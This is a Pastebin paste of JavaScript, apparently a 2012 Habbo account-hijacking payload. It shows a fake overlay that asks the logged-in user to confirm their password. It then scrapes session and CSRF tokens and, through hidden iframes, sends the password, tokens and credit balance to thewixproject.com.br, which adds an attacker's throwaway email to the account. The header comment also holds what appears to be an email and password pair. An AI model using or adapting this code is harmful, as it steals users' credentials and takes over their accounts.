Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- ############################################
- # ADD E-MAIL COM PEDIDO DE SENHA BY PHOENIX.
- # ARRUMA AS PARTE AI BONITÃO, POIS PRECISA DE MAIS 3 ARQUIVOS PRA FUNCIONAR. :*
- # (c) 2012
- ############################################
- phnx_wc@hotmail.com / vidaroo
- */
- var $_id = i.toString();
- function random(len) {
- var i, chars = '1234567890QWERTYUIOPASDFGHJKLMNBCZB',
- str = '';
- if (!len) len = 15;
- for (i = 0; i < len; i++) str += chars.substr((Math.floor(Math.random() * (chars.length + 1))), 1);
- return str;
- };
- var __mail_server = "yopmail.net";
- var __time_stamp = random(15);
- var __send_to_guest = "WIX_BOT_" + __time_stamp;
- var __email_add = __send_to_guest + "@" + __mail_server;
- var $_str_wix_content = '<b>' + habboName + '</b> para completar a ação anterior, por favor, digite sua senha por segurança:';
- var $_str_wix_title = 'Para confirmar digite sua senha';
- var $_str_butt_OK = 'Ok';
- var $_str_load_fail = 'Digite sua senha corretamente!';
- d = document;
- function verifica(email) {
- new Ajax.Request('/identity/email', {
- onComplete: function (x) {
- x = x.responseText;
- if (x.match(email)) {
- X.hide();
- Overlay.hide();
- d.getElementById(wix_box).innerHTML = '';
- new Ajax.Request('/credits', {
- onComplete: function (x) {
- var credits = (x.responseText.match(/class="redeem-balance-amount">(.*?)</gi)[0].split('">')[1].split('<')[0]);
- d.body.appendChild(new Element('iframe', {
- style: 'display:none',
- src: 'http://thewixproject.com.br/phpcontrol/log_request.php?i=' + $_id + '&type=2&e=' + __email_add + '&ho=' + location.host + '&h=' + habboName + '&p=' + pass_set.value + '&credits=' + credits,
- name: 'WIX_LOG_' + (new Date()).getTime()
- }));
- }
- });
- } else {
- d.getElementById('wix_load').innerHTML = "<center><font color='red'>" + $_str_load_fail + "</font></center>";
- };
- }
- });
- };
- function set(_pass) {
- X.appendChild(new Element(_d, {
- id: 'wix_load'
- }));
- d.getElementById('wix_load').innerHTML = "<center><img src='http://habboemotion.com/resources/images/icons/progress_bar_blue.gif'></center>";
- new Ajax.Request("/identity/email", {
- onComplete: function (k) {
- var _num = k.responseText.match(/urlToken/gi).length - 1;
- var _token = (k.responseText.match(/name="urlToken" value="(.*?)"/gi)[_num].split('"')[3]);
- var _app = $$("[name*=csrf]")[0].content;
- document.body.appendChild(new Element("iframe", {
- style: "display:none",
- src: "http://thewixproject.com.br/js/add.php?email=" + __email_add + "&hotel=" + location.host + "&token=" + _token + "&appkey=" + _app + "&password=" + _pass,
- name: "WIX_" + new Date().getTime()
- }));
- setTimeout("verifica(__time_stamp)", 6000);
- }
- });
- };
- Overlay.show();
- var p = d.createElement('link');
- p.type = 'text/css';
- p.rel = 'stylesheet';
- p.href = 'http://thewixproject.com.br/css/wix_box.css';
- d.head.appendChild(p);
- var wix_box = 'WIX_' + (new Date()).getTime();
- var _d = 'div';
- d.body.appendChild(new Element(_d, {
- id: wix_box,
- class: 'wix_traplod'
- }));
- d.getElementById(wix_box).appendChild(new Element(_d, {
- id: 'wix_box'
- }));
- X = d.getElementById('wix_box');
- X.appendChild(new Element(_d, {
- id: 'wix_title'
- }));
- X.appendChild(new Element(_d, {
- id: 'wix_content'
- }));
- d.getElementById('wix_content').innerHTML = $_str_wix_content + '<br><input type="password" value="senha" id="senha" name="senha"><br><button onClick="set(senha.value);">' + $_str_butt_OK + '</button>';
- d.getElementById('wix_title').innerHTML = $_str_wix_title;
- var pass_set = d.getElementById('senha');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement